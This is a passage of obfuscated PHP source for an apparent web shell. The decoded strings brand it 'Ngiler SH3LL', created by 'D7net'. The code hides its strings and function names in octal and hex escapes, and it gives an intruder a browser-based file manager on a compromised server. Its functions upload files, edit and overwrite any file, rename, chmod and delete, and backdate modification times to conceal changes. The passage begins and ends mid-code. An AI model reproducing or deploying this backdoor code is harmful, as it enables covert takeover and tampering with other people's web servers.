formatSizeUnits($fz(PATH . "\57" . $file)) . "\74\x2f\x74\x64\x3e\x3c\x2f\x63\x65\x6e\164\x65\162\x3e\xa\x20\40\x20\40\x20\40\40\40\74\x74\144\x3e\74\143\145\x6e\164\x65\x72\76" . date("\x46\40\144\40\131\40\110\72\151\72\163", $flm(PATH . "\x2f" . $file)) . "\74\x2f\164\144\76\74\x2f\143\x65\x6e\164\x65\x72\76\xa\40\40\x20\x20\x20\40\x20\40\74\164\144\x3e\x3c\143\145\x6e\x74\x65\x72\76"; if($isw(PATH."/".$file)) echo "\74\146\157\156\164\40\143\x6f\154\x6f\162\75\42\x6c\x69\155\x65\42\x3e"; elseif(!$isr(PATH."/".$file)) echo "\x3c\146\157\x6e\164\40\143\157\x6c\157\x72\x3d\x22\162\145\144\x22\x3e"; echo d7netstat(PATH."/".$file); if($isw(PATH."/".$file) || !$isr(PATH."/".$file)) echo ''; echo "\x3c\x2f\164\144\76\74\57\x63\145\x6e\x74\x65\162\76\xa\x20\x20\x20\40\x20\40\x20\40\x3c\164\144\76\74\143\145\156\x74\x65\162\x3e\12\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x3c\163\145\154\145\x63\164\40\x63\x6c\141\163\x73\75\47\143\165\163\164\157\155\55\163\145\x6c\145\143\164\x20\x63\165\163\164\157\x6d\55\163\x65\154\x65\143\164\55\x73\x6d\47\x20\x6f\x6e\x63\150\141\156\147\x65\75\47\x6c\x6f\x63\x61\164\151\x6f\156\x20\75\40\x74\x68\x69\x73\56\166\x61\x6c\165\x65\x3b\47\76\12\40\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\74\157\x70\x74\x69\157\x6e\40\x73\x65\154\145\143\x74\x65\144\76\123\145\154\x65\143\164\x3c\57\157\160\164\151\x6f\156\76\12\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\74\157\160\164\151\157\x6e\x20\166\141\154\x75\145\x3d\x27\x3f\x71\x3d" . $uren($enp(PATH)) . "\x26\145\75" . $file . "\47\x3e\105\x64\151\164\x20\106\151\x6c\145\74\x2f\x6f\160\x74\x69\x6f\x6e\x3e\12\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x3c\x6f\x70\x74\151\157\x6e\x20\166\141\154\165\x65\75\47\77\x71\x3d" . $uren($enp(PATH)) . "\46\162\75" . $file . "\x27\76\x52\x65\156\x61\x6d\145\x3c\57\x6f\160\x74\x69\x6f\156\x3e\xa\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\74\x6f\160\164\x69\157\156\40\x76\x61\x6c\165\145\x3d\47\x3f\x71\75" . $uren($enp(PATH)) . "\x26\143\150\144\145\x74\x3d" . $file . "\x27\x3e\x43\150\x64\x61\164\145\74\57\157\x70\164\x69\157\156\x3e\12\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\40\x20\74\157\x70\x74\x69\157\x6e\x20\166\x61\154\165\145\75\47\77\161\75" . $uren($enp(PATH)) . "\x26\x63\155\157\144\x3d" . $file . "\x27\76\103\x68\x6d\157\144\x3c\57\157\160\x74\151\157\x6e\x3e\12\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\x3c\x6f\160\164\151\x6f\156\40\166\x61\x6c\165\145\x3d\47\77\x71\x3d" . $uren($enp(PATH)) . "\46\x64\75" . $file . "\x27\x3e\104\145\x6c\x65\164\145\74\57\x6f\x70\x74\x69\x6f\x6e\x3e\xa\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\74\x2f\163\x65\154\145\143\x74\76\12\40\x20\x20\40\40\x20\x20\40\x3c\x2f\164\144\76\74\57\143\x65\x6e\x74\145\x72\76\xa\x20\40\x20\x20\x3c\x2f\164\x72\x3e";}echo "\74\x2f\x74\141\x62\154\145\x3e\12\x20\x20\x20\x20\74\x74\x61\142\154\x65\x20\143\154\x61\x73\163\75\47\164\x61\142\154\145\x20\x74\x61\142\x6c\145\55\144\x61\x72\x6b\47\x20\x73\164\x79\x6c\145\x3d\47\167\151\144\164\150\72\x39\x30\45\73\142\157\170\x2d\x73\150\141\144\x6f\167\72\40\x30\x20\60\x20\65\160\170\x20\x23\x30\104\71\67\101\x35\x27\40\x61\154\151\147\156\75\x27\143\145\x6e\x74\x65\162\47\76\74\164\150\145\x61\144\40\x73\164\171\x6c\x65\75\47\x2d\x2d\x62\x73\55\164\x61\142\x6c\145\55\x62\147\72\x23\60\x44\x39\x37\101\x35\x3b\55\x2d\x62\x73\x2d\x74\141\142\154\145\x2d\x63\x6f\x6c\157\162\72\x23\x30\60\x30\x3b\47\76\x3c\164\162\76\x3c\x74\x68\x3e".date("\x59")."\40\x26\143\x6f\x70\x79\73\40\x4e\147\151\154\145\162\x20\x53\x48\63\114\114\40\174\40\x43\x72\145\141\164\x65\144\40\102\171\40\x44\x37\156\x65\164\56\xa\x20\40\40\40\x3c\144\x69\166\40\163\x74\171\x6c\x65\x3d\47\146\154\x6f\141\x74\72\x72\151\x67\150\x74\x3b\170\x27\x3e\12\x20\40\40\40\x3c\x61\x20\150\x72\x65\146\x3d\x27\x68\x74\164\x70\x73\x3a\x2f\57\147\x69\x74\x68\x75\x62\x2e\143\157\x6d\57\x62\x65\154\154\x70\x77\156\x2f\x6f\160\145\164\47\x20\143\x6c\x61\x73\163\75\47\142\164\156\40\x62\x74\156\x2d\x6f\165\164\x6c\151\156\145\x2d\x6c\x69\147\x68\x74\40\142\164\x6e\x2d\x73\x6d\47\x3e\74\151\x20\143\x6c\141\x73\163\x3d\47\146\141\x2d\x62\162\x61\156\x64\x73\x20\x66\x61\x2d\147\x69\164\x68\165\142\47\76\74\57\x69\x3e\x3c\57\x61\x3e\xa\x20\x20\40\x20\74\x61\x20\x68\x72\x65\146\x3d\47\150\164\x74\x70\72\57\x2f\x6f\x70\145\164\x6f\x6c\x6f\154\x2e\x65\165\56\157\162\x67\x2f\x27\40\143\x6c\x61\163\163\75\47\142\164\156\40\142\164\156\x2d\x6f\x75\164\154\x69\x6e\x65\x2d\154\151\147\150\x74\40\142\164\x6e\55\163\155\47\x3e\x3c\x69\x20\x63\x6c\141\163\163\75\47\146\141\x2d\x73\157\154\151\144\40\x66\141\x2d\x67\154\157\x62\145\x27\x3e\x3c\57\x69\x3e\74\x2f\x61\76\xa\40\x20\x20\x20\74\x61\40\x68\x72\145\146\x3d\47\155\x61\151\x6c\x74\157\72\x6f\160\145\164\145\x76\x65\x72\171\144\141\171\100\x67\x6d\141\151\154\56\143\157\155\47\40\x63\154\x61\x73\x73\x3d\47\142\164\156\40\x62\164\x6e\x2d\157\x75\164\154\151\x6e\x65\55\154\x69\x67\x68\x74\40\x62\x74\156\x2d\163\155\x27\76\x3c\151\40\x63\154\141\x73\x73\x3d\47\146\x61\55\x73\x6f\154\151\x64\40\x66\x61\x2d\145\x6e\x76\x65\x6c\x6f\160\x65\47\76\x3c\57\x69\76\x3c\x2f\141\76\74\x2f\144\151\166\76\x3c\57\164\x68\76\74\57\x74\x72\76\x3c\57\164\x68\x65\141\x64\76\x3c\164\x61\142\x6c\145\76"; }else{ if(empty($_GET)){ echo "\x3c\163\x63\162\151\x70\164\x3e\167\x69\x6e\x64\x6f\167\x2e\154\x6f\x63\x61\164\x69\157\x6e\56\162\145\160\154\141\x63\145\x28\47\x3f\160\75\47\x29\73\x3c\57\x73\x63\162\x69\x70\164\x3e";}}if(isset($_GET['u'.'pl'.'o'.'a'.'d'])){ echo "\12\40\40\x20\x3c\143\145\156\x74\x65\162\76\x20\74\x66\x6f\162\x6d\40\155\x65\x74\150\157\x64\75\42\160\x6f\x73\164\42\40\145\x6e\x63\164\x79\160\145\75\x22\155\165\154\164\x69\160\x61\162\164\57\x66\157\162\x6d\55\144\x61\164\x61\x22\76\12\x20\40\x20\40\x20\40\x20\40\12\40\40\40\40\x20\x20\40\40\74\151\156\160\165\164\x20\164\171\x70\145\75\x22\x66\x69\154\145\x22\40\x6e\141\x6d\x65\x3d\x22\x66\151\x6c\x65\x54\x6f\125\x70\x6c\157\141\144\x22\x20\151\144\x3d\x22\146\x69\x6c\x65\124\x6f\125\160\x6c\157\141\144\x22\76\12\x20\x20\40\40\x20\x20\x20\40\x3c\x69\156\160\x75\164\40\x74\171\x70\145\75\x22\x73\165\142\155\151\164\42\40\x63\154\141\x73\x73\75\42\x62\x74\156\40\x62\x74\x6e\55\x64\141\162\x6b\x22\x20\166\141\154\x75\145\75\42\125\160\x6c\157\141\x64\x22\40\x6e\x61\155\145\75\x22\x75\160\154\x6f\x61\x64\x22\x3e\xa\x20\x20\40\40\74\57\146\x6f\x72\155\x3e\x3c\x2f\x63\145\156\x74\145\x72\76"; } if(isset($_GET['chdet'])) { if(!empty($_GET['chdet']) && isset($_GET['q'])) { $bsn = "\x62\x61\x73" . "\x65\x6e" . "\x61\155\145"; $filez = $bsn($_GET['chdet']); $fdate = PATH."/".$filez; $tgl = date("F d Y H:i:s",$flm($fdate)); echo "\74\142\x72\x3e\74\164\141\x62\154\x65\x20\x63\x6c\141\163\163\75\42\x74\141\142\154\x65\40\x74\141\142\x6c\145\x2d\144\141\162\x6b\x22\x20\163\x74\171\x6c\x65\75\42\167\x69\x64\x74\150\x3a\x34\60\45\73\x22\40\x61\x6c\151\147\156\75\x22\143\x65\156\164\x65\162\42\76\12\x20\40\40\40\x20\x20\x20\40\74\164\x68\x65\141\144\x20\x73\x74\171\154\x65\75\x22\55\55\142\x73\55\164\141\142\x6c\145\x2d\142\x67\72\x23\60\x44\71\67\x41\65\73\x2d\x2d\x62\x73\x2d\x74\x61\142\x6c\145\x2d\143\157\154\157\162\x3a\x23\60\x30\60\73\x22\x3e\xa\40\40\40\x20\x20\x20\40\x20\x3c\x74\162\x3e\x3c\164\150\x3e\x43\x68\141\x6e\147\145\x20\x44\x61\164\x65\40\72\40" . $tgl . "\40\174\40\116\x61\155\x65\40\x3a\x20" . $filez . "\74\x2f\164\150\x3e\x3c\57\164\162\x3e\74\x2f\164\x68\x65\141\144\76\12\x20\40\x20\40\x20\40\x20\x20\74\164\144\x3e\74\x63\x65\x6e\x74\x65\x72\x3e\74\x66\157\x72\155\x20\155\145\164\150\157\144\75\42\x70\157\163\164\42\76\12\40\x20\40\x20\x20\x20\x20\x20\74\x64\151\166\x20\143\x6c\x61\163\x73\x3d\x22\x69\156\x70\x75\164\55\147\162\x6f\165\x70\x20\x6d\142\55\x33\42\40\x73\164\171\x6c\145\x3d\42\167\x69\x64\x74\x68\x3a\x33\62\x30\160\x78\x3b\x22\76\xa\x20\40\40\x20\x20\40\x20\x20\x3c\x73\x70\141\x6e\x20\143\x6c\x61\163\x73\x3d\x22\151\x6e\160\x75\x74\55\147\x72\x6f\x75\160\x2d\x74\145\170\164\x22\76\103\x68\x61\x6e\x67\145\x20\72\74\x2f\x73\x70\141\x6e\x3e\12\40\40\x20\40\40\x20\x20\x20\x3c\x69\156\160\165\164\x20\164\x79\x70\145\x3d\x22\164\x65\x78\164\42\40\x6e\141\x6d\x65\x3d\42\x64\x61\x74\145\x22\40\143\x6c\x61\163\x73\75\x22\146\x6f\x72\155\x2d\143\157\156\x74\x72\157\154\42\40\x70\x6c\141\x63\145\x68\x6f\x6c\144\145\x72\75\x22" . $tgl . "\x22\76\74\x2f\144\x69\166\x3e\12\40\x20\40\x20\x20\40\40\40\x3c\151\x6e\x70\x75\164\40\x74\171\160\x65\x3d\42\163\165\142\x6d\151\x74\42\40\156\x61\x6d\x65\x3d\x22\x63\x68\x61\156\x67\x65\42\x20\x63\x6c\x61\163\163\x3d\x22\x62\164\x6e\x20\x62\164\x6e\55\x6f\x75\x74\154\151\x6e\145\x2d\x6c\151\x67\x68\164\x22\76\x26\156\142\x73\x70\x3b\xa\x20\x20\40\x20\x20\40\40\40\x3c\141\x20\x68\x72\x65\x66\x3d\42\77\160\75" . $enp(PATH) . "\x22\40\x63\154\141\163\x73\x3d\x22\x62\164\156\40\142\164\x6e\x2d\157\165\x74\154\151\156\x65\x2d\x6c\x69\147\150\x74\42\40\x73\164\171\x6c\145\75\42\x77\x69\x64\164\x68\x3a\x37\60\160\x78\73\42\76\x42\141\x63\x6b\74\x2f\x61\x3e\x3c\x2f\x66\157\162\155\x3e\74\57\164\144\x3e\x3c\57\164\141\x62\x6c\145\76"; if (isset($_POST['change'])) { $stm = "\x73\164" . "\x72\x74\x6f\164" . "\x69\155\x65"; $toc = "\x74\157" . "\x75\x63\x68"; $tanggal = $stm($_POST['da'.'te']); if (@$toc($fdate, $tanggal) == true) { echo "\x3c\163\143\162\151\x70\164\76\x61\154\x65\x72\164\x28\47\x43\x68\x61\156\x67\145\144\x20\123\x75\x63\143\145\x73\x73\x66\x75\154\154\171\56\x27\51\x3b\x20\167\x69\x6e\x64\157\167\x2e\154\157\143\141\164\x69\157\156\56\162\x65\160\x6c\141\x63\145\50\x27\x3f\x70\75" . $enp(PATH) . "\x27\x29\x3b\x3c\57\163\143\x72\x69\x70\x74\x3e"; } else { echo "\74\x73\143\162\x69\160\164\x3e\141\x6c\x65\x72\164\x28\x27\106\141\x69\154\145\144\x20\x74\157\40\x43\150\141\x6e\x67\145\144\x2e\47\x29\x3b\x20\167\151\156\144\x6f\x77\56\x6c\x6f\x63\x61\164\x69\x6f\156\56\x72\x65\160\154\141\143\145\50\47\77\160\x3d" . $enp(PATH) . "\47\51\x3b\74\x2f\163\x63\x72\151\x70\x74\76"; } } } } if(isset($_GET['cmod'])) { if(!empty($_GET['cmod']) && isset($_GET['q'])) { $bsn = "\x62\x61\163" . "\x65\x6e" . "\x61\155\145"; $files = $bsn($_GET['cmod']); echo "\x3c\142\162\x3e\x3c\x74\141\142\x6c\x65\40\143\x6c\141\x73\x73\75\x27\x74\141\x62\x6c\x65\x20\x74\x61\142\x6c\x65\x2d\x64\x61\x72\153\x27\40\163\164\171\154\145\75\47\167\x69\x64\164\150\72\x34\60\45\73\47\x20\x61\x6c\151\147\156\75\x27\x63\x65\156\164\x65\x72\47\76\x3c\164\150\x65\141\x64\x20\x73\164\x79\x6c\x65\x3d\47\x2d\x2d\x62\163\55\164\141\x62\x6c\145\x2d\x62\x67\x3a\43\x30\x44\x39\67\x41\65\x3b\x2d\55\142\163\55\x74\141\x62\154\x65\55\143\157\154\x6f\x72\x3a\x23\x30\60\x30\x3b\47\x3e\x3c\164\162\x3e\x3c\164\x68\76\12\x20\x20\40\x20\40\x20\x43\x68\141\x6e\147\x65\x20\120\145\162\x6d\151\163\x73\151\x6f\156\x20\x3a\x20" . d7netstat(PATH . "\x2f" . $files) . "\x2c\40\x4e\141\x6d\145\x20\x3a\x20" . $files . "\74\x2f\x74\x68\x3e\x3c\x2f\x74\162\x3e\74\57\164\x68\145\x61\144\x3e\xa\x20\40\x20\x20\x20\x20\74\164\144\x3e\74\x63\145\156\164\145\162\76\xa\40\40\40\x20\40\40\74\x66\157\162\155\x20\155\145\x74\x68\x6f\144\75\x27\x50\117\123\x54\x27\x3e\12\x20\x20\x20\40\x20\40\74\x64\151\166\40\143\154\141\163\x73\x3d\x27\151\x6e\160\x75\x74\55\147\162\157\x75\160\x20\x6d\x62\x2d\63\x27\x20\x73\164\x79\x6c\145\x3d\x27\x77\151\144\164\x68\72\63\x32\x30\160\170\x3b\x27\x3e\12\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\74\163\160\x61\156\40\x63\x6c\141\163\x73\x3d\47\151\x6e\160\165\x74\55\x67\x72\157\x75\x70\55\x74\x65\170\164\x27\76\x43\150\x61\156\147\145\x20\72\x3c\x2f\x73\x70\x61\x6e\x3e\12\x20\40\40\40\40\x20\40\40\74\x69\156\x70\x75\x74\40\x74\x79\x70\145\75\x27\x74\145\x78\x74\47\40\x6e\x61\x6d\x65\x3d\x27\143\x68\155\60\x64\47\40\x6d\141\170\154\x65\x6e\x67\164\x68\x3d\x27\64\47\40\157\x6e\153\x65\x79\x70\162\x65\163\163\75\47\162\145\x74\165\x72\156\x20\156\x75\x6d\x62\145\x72\x28\x65\x76\x65\x6e\x74\x29\47\x20\x63\154\x61\x73\163\x3d\47\146\x6f\x72\x6d\55\x63\x6f\x6e\x74\x72\x6f\x6c\47\40\x70\154\x61\143\x65\x68\x6f\x6c\144\x65\x72\x3d\47" . d7netstat(PATH . "\57" . $files) . "\47\x20\x72\x65\x71\165\x69\162\x65\x64\76\xa\40\40\x20\40\40\40\40\40\74\x2f\x64\x69\x76\x3e\12\40\40\x20\40\40\40\x3c\x69\x6e\x70\x75\x74\40\x74\x79\160\x65\x3d\x27\x73\165\x62\x6d\x69\164\x27\x20\x6e\x61\x6d\x65\x3d\47\143\150\x61\x6e\147\145\47\40\x63\x6c\141\163\163\x3d\x27\142\164\x6e\x20\x62\164\156\x2d\157\165\164\x6c\151\x6e\145\x2d\154\x69\147\x68\x74\x27\x3e\x26\x6e\x62\163\x70\x3b\xa\x20\40\40\x20\x20\40\x3c\141\40\x68\162\145\146\75\x27\77\160\75" . $enp(PATH) . "\x27\x20\143\x6c\141\163\x73\x3d\47\142\x74\156\x20\x62\164\156\x2d\157\x75\164\154\x69\x6e\145\55\x6c\x69\x67\150\164\x27\x20\163\164\171\x6c\145\75\47\167\151\144\164\150\72\x37\x30\160\170\73\47\x3e\x42\x61\x63\153\x3c\57\141\x3e\74\57\146\157\x72\x6d\76\xa\40\x20\x20\x20\x20\40\74\x2f\x74\144\76\74\x2f\164\x61\x62\154\x65\x3e"; if (isset($_POST['change'])) { $cek = PATH."/".$files; $odc = "\x6f\143" . "\164\x64" . "\x65\x63"; $opet = @$cm($cek, $odc($_POST['c'.'hm'.'0d'])); if ($opet == true) { echo "\x3c\163\x63\x72\151\160\x74\x3e\141\154\x65\162\164\x28\47\103\150\141\156\147\x65\144\x20\x53\165\x63\x63\145\163\163\x66\165\x6c\154\171\56\40" . d7netstat(PATH . "\x2f" . $files) . "\40\x3d\x3e\x20" . $_POST["\143\x68\x6d\60\x64"] . "\47\51\73\x20\x77\x69\156\144\157\x77\56\154\x6f\x63\x61\x74\151\157\x6e\56\x72\145\x70\x6c\x61\x63\x65\x28\47\x3f\x70\75" . $enp(PATH) . "\47\x29\x3b\x3c\57\163\143\x72\x69\160\x74\76"; } else { echo "\74\163\143\162\x69\x70\164\x3e\x61\x6c\x65\x72\164\x28\47\107\x61\x67\x61\154\40\x4d\145\156\147\165\142\x61\150\40\x50\145\162\x6d\x69\163\163\x69\x6f\x6e\40\x3a\50\x20\56\47\x29\73\40\167\151\156\144\x6f\167\56\154\157\143\x61\164\151\x6f\x6e\x2e\162\145\160\154\141\143\x65\50\x27\x3f\x70\x3d" . $enp(PATH) . "\47\x29\x3b\74\x2f\163\x63\x72\x69\160\164\x3e"; } } } } if(isset($_GET['r'])) { if(!empty($_GET['r']) && isset($_GET['q'])) { echo "\x3c\x62\x72\76\x3c\164\141\x62\x6c\145\x20\143\x6c\x61\x73\x73\75\x22\x74\x61\142\x6c\x65\x20\164\x61\x62\x6c\145\x2d\x64\x61\x72\153\x22\x20\x73\164\x79\154\145\75\42\x77\x69\x64\x74\150\72\x34\60\x25\73\x20\142\x6f\170\x2d\163\150\141\x64\x6f\x77\72\x20\60\x20\x30\x20\65\x70\170\40\x23\x30\x44\71\67\x41\65\x3b\42\40\x61\154\x69\x67\156\x3d\42\143\145\156\x74\145\x72\x22\x3e\12\40\40\x20\x20\x20\40\40\x20\x3c\164\x68\145\141\x64\40\x73\x74\x79\154\145\x3d\42\x2d\55\x62\x73\x2d\x74\x61\x62\x6c\145\55\x62\147\72\x23\60\x44\71\67\x41\65\x3b\55\x2d\x62\163\x2d\164\x61\142\154\x65\55\x63\x6f\x6c\x6f\162\x3a\43\x30\x30\x30\x3b\42\x3e\xa\40\x20\x20\40\x20\x20\x20\40\x3c\x74\162\76\x3c\164\x68\x3e\x52\145\156\141\155\x65\x20\x3a\40\x3c\146\157\156\164\40\143\x6f\x6c\157\162\x3d\42\x77\150\151\x74\x65\42\76" . $_GET["\162"] . "\x3c\57\x66\x6f\x6e\164\76\74\x2f\164\x68\x3e\x3c\x2f\164\162\76\x3c\x2f\x74\x68\x65\141\x64\x3e\12\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\74\x74\x64\76\74\x66\157\x72\x6d\x20\x6d\145\x74\x68\x6f\144\x3d\x22\160\157\x73\164\x22\x3e\74\x63\x65\x6e\x74\145\162\x3e\12\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x3c\x64\151\166\x20\143\x6c\x61\x73\163\x3d\42\151\156\x70\165\x74\x2d\147\x72\157\165\160\40\155\x62\55\x33\42\x20\163\x74\171\154\x65\75\42\167\x69\x64\x74\150\x3a\x33\62\60\160\x78\73\x22\76\12\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\74\163\x70\141\x6e\x20\143\154\x61\163\x73\75\x22\x69\156\x70\x75\x74\x2d\x67\x72\x6f\165\160\55\164\x65\170\164\x22\76\x4e\x61\x6d\x65\x20\72\x3c\57\163\x70\x61\156\76\xa\x20\40\40\x20\40\x20\x20\40\x3c\151\156\x70\x75\x74\x20\x74\x79\160\x65\75\42\164\x65\x78\x74\42\40\156\141\155\x65\x3d\42\x6e\x61\x6d\145\42\x20\143\154\x61\163\x73\x3d\x22\x66\x6f\x72\155\55\x63\x6f\156\x74\162\x6f\x6c\42\40\x70\154\141\143\x65\x68\157\154\x64\145\162\x3d\42\116\141\155\141\40\142\141\x72\165\42\x3e\12\40\40\x20\40\40\40\40\40\x3c\x2f\144\x69\x76\76\xa\x20\x20\40\x20\40\40\40\x20\74\151\x6e\160\165\x74\40\164\x79\x70\x65\75\x22\x73\x75\x62\155\151\164\42\x20\x63\x6c\x61\x73\163\75\x22\x62\164\x6e\x20\x62\164\156\55\x6f\x75\164\154\151\x6e\145\55\154\x69\x67\150\x74\42\40\x76\x61\154\x75\x65\75\x22\x52\145\156\x61\x6d\145\42\x20\x6e\x61\155\145\75\x22\x72\145\156\x61\155\x65\x22\76\46\156\142\x73\160\73\xa\40\40\40\40\40\40\x20\x20\74\x61\40\x68\162\145\x66\x3d\x22\77\x70\x3d" . $enp(PATH) . "\42\40\143\x6c\x61\163\163\75\x22\x62\x74\x6e\40\x62\164\156\55\157\x75\164\x6c\x69\x6e\x65\55\x6c\151\147\x68\x74\x22\40\163\164\x79\x6c\145\75\42\x77\151\x64\164\x68\x3a\x39\x30\160\170\x3b\x22\x3e\x42\x61\x63\x6b\74\57\141\76\x3c\x2f\x63\145\x6e\164\x65\162\x3e\xa\40\40\x20\40\74\57\x66\157\162\155\76\x3c\x2f\164\144\76\x3c\57\164\x61\142\x6c\145\76"; if(isset($_POST["\x72\145\x6e" . "\x61\x6d\x65"])){ $name=PATH."/".$_GET['r']; $rnme = "\162\145\156" . "\x61\x6d\x65"; if($rnme($name,PATH."/".$_POST['name'])){ echo "\x3c\163\143\162\151\160\x74\x3e\141\154\x65\x72\x74\50\x27\x42\x65\x72\153\141\x73\x20\x62\x65\162\150\141\x73\x69\x6c\x20\x67\x61\156\x74\151\x20\x6e\x61\155\141\x2e\47\x29\x3b\40\167\151\156\x64\x6f\x77\56\x6c\x6f\x63\141\x74\x69\157\x6e\x2e\x72\x65\x70\154\x61\143\x65\x28\47\77\x70\x3d" . $enp(PATH) . "\x27\51\73\74\57\x73\143\162\151\160\x74\x3e"; }else{ echo "\74\163\143\162\151\160\164\76\141\154\145\162\164\x28\47\x53\x6f\155\x65\x20\x65\x72\x72\157\162\40\157\143\x63\165\162\x72\x65\144\56\x27\x29\73\40\167\x69\x6e\x64\157\x77\56\154\157\143\141\x74\151\157\156\56\162\145\160\x6c\x61\x63\x65\x28\x27\x3f\160\75" . $enp(PATH) . "\47\x29\x3b\74\57\163\x63\x72\x69\160\x74\76"; } } } }if(isset($_GET['e'])){ if(!empty($_GET['e']) && isset($_GET['q'])){ $htsp = "\150\164\x6d" . "\x6c\x73\160\145\143" . "\x69\141\154\x63\150" . "\x61\162\x73"; $fgc = "\146\x69" . "\x6c\x65\137\x67" . "\145\164\x5f\x63\x6f\x6e" . "\164\145\156\164\x73"; echo "\12\x20\x20\x20\x20\x3c\164\141\142\x6c\x65\x20\143\x6c\x61\163\x73\75\42\164\141\x62\154\x65\40\x74\141\x62\154\x65\x2d\x64\x61\x72\153\42\40\x73\164\x79\x6c\145\75\x22\x77\151\144\164\x68\72\70\x30\45\x3b\x20\x62\157\x78\55\x73\150\141\x64\x6f\167\x3a\x20\60\40\60\40\x35\160\x78\40\43\60\104\x39\67\x41\65\73\x22\x20\141\x6c\151\x67\156\75\42\143\x65\x6e\164\x65\x72\x22\x3e\12\40\40\x20\x20\74\164\x68\x65\x61\x64\x20\163\x74\x79\x6c\145\x3d\x22\55\55\x62\163\55\164\x61\142\x6c\145\x2d\x62\147\72\43\60\104\71\67\x41\x35\73\55\x2d\142\x73\x2d\164\x61\x62\154\145\x2d\x63\x6f\x6c\157\162\72\x23\60\60\60\73\42\76\xa\x20\x20\40\x20\40\x20\40\x20\x3c\x74\x72\x3e\xa\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\74\164\150\x3e\12\40\x20\40\x20\40\40\40\x20\105\x64\x69\164\x20\106\151\154\x65\40\72\40\74\x66\157\156\164\40\143\157\154\157\x72\x3d\42\154\151\155\145\x22\x3e" . $_GET["\x65"] . "\74\57\x66\157\156\164\76\40\x7c\40\123\x69\x7a\145\40\x3a\x20" . formatSizeUnits($fz(PATH . "\57" . $_GET["\145"])) . "\x3c\142\x75\x74\164\157\x6e\40\164\171\160\145\x3d\42\x62\x75\164\x74\x6f\156\x22\40\143\x6c\x61\x73\x73\75\42\142\x74\156\40\x62\x74\x6e\55\x6f\165\164\154\151\x6e\x65\55\154\151\147\x68\x74\x20\x62\x74\156\55\x73\155\x22\40\x6f\156\143\x6c\x69\x63\x6b\x3d\42\155\x79\x46\165\156\143\164\x69\x6f\x6e\50\51\x22\x20\163\x74\171\154\145\75\x22\x66\154\157\141\x74\72\x72\x69\x67\x68\x74\73\42\76\x3c\x69\40\x63\x6c\141\163\x73\75\x22\146\141\40\x66\x61\55\x63\157\160\x79\42\x3e\74\x2f\x69\76\x20\103\157\x70\x79\74\57\x62\165\164\x74\x6f\156\x3e\74\57\x74\x68\x3e\74\x2f\x74\162\x3e\74\x2f\164\150\x65\141\x64\x3e\xa\40\40\40\40\40\x20\x20\40\74\x74\144\x3e\x3c\143\x65\x6e\x74\145\162\76\74\146\x6f\x72\x6d\40\x6d\x65\x74\x68\x6f\x64\75\42\160\x6f\163\164\42\x3e\xa\40\40\x20\40\x20\x20\40\40\x3c\x74\x65\170\164\x61\x72\x65\141\x20\163\164\171\154\x65\75\x22\150\145\x69\147\x68\164\x3a\x20\65\x30\60\160\170\x3b\xa\x20\x20\40\40\40\40\40\40\x77\x69\144\164\150\72\40\71\x30\45\73\x22\40\156\x61\155\x65\75\x22\x64\x61\x74\x61\x22\x20\151\144\x3d\42\x6d\171\x49\156\160\x75\164\x22\x3e" . $htsp($fgc(PATH . "\57" . $_GET["\x65"])) . "\74\57\164\x65\x78\x74\x61\x72\x65\141\76\12\40\x20\x20\x20\x20\40\x20\40\x3c\142\x72\76\74\x62\x72\76\xa\40\40\x20\x20\40\x20\40\x20\x3c\x69\156\x70\165\x74\40\164\171\160\145\75\42\x73\x75\x62\x6d\x69\164\x22\40\x63\x6c\141\163\163\x3d\x22\x62\x74\x6e\40\142\164\x6e\55\x6f\165\164\x6c\151\156\x65\x2d\154\151\147\x68\x74\x22\40\x73\x74\x79\154\x65\x3d\42\167\151\144\x74\150\72\62\x30\x30\160\x78\73\x22\40\166\141\x6c\165\145\x3d\42\123\x61\x76\x65\42\x20\156\x61\155\145\75\42\x65\144\x69\164\x22\x3e\46\156\x62\163\x70\x3b\xa\x20\40\40\40\40\x20\x20\40\x3c\x61\40\150\162\145\x66\x3d\42\77\x70\x3d" . $enp(PATH) . "\x22\40\143\154\x61\x73\163\x3d\42\142\x74\x6e\40\142\x74\x6e\x2d\x6f\x75\164\x6c\151\156\x65\55\154\151\147\150\x74\x22\x20\x73\164\171\x6c\x65\75\x22\x77\x69\144\x74\150\72\x32\x30\x30\160\170\73\42\x3e\x42\141\143\153\x3c\x2f\141\76\xa\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x3c\x2f\x66\x6f\x72\x6d\76\xa\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\74\57\143\x65\156\x74\x65\162\76\12\x20\40\x20\40\x20\x20\40\x20\x3c\57\x74\144\x3e\xa\40\40\x20\x20\x3c\57\164\x61\142\x6c\145\x3e\x3c\x2f\143\x65\x6e\164\x65\162\x3e"; if (isset($_POST["\x65\144\x69\164"])) { $fpn = "\x66\x6f"."\160\x65\156"; $fwr = "\x66\167\162"."\x69\164\x65"; $pilen = PATH . "\x2f" . $_GET["\145"]; $data = $_POST["\x64\141\164\x61"]; $open = $fpn($pilen, "\x77"); if ($fwr($open, $data)) { echo "\74\163\x63\x72\x69\160\x74\76\x61\154\x65\x72\x74\50\47\x42\x65\162\153\x61\163\x20\142\145\162\x68\x61\163\151\154\x20\144\151\x20\x73\x69\x6d\x70\141\156\56\47\51\73\x20\x77\151\156\144\157\x77\56\x6c\x6f\x63\x61\x74\151\157\x6e\56\162\145\160\154\x61\x63\145\50\47\77\160\75" . $enp(PATH) . "\47\x29\73\74\57\163\x63\162\x69\160\x74\x3e"; } else { echo 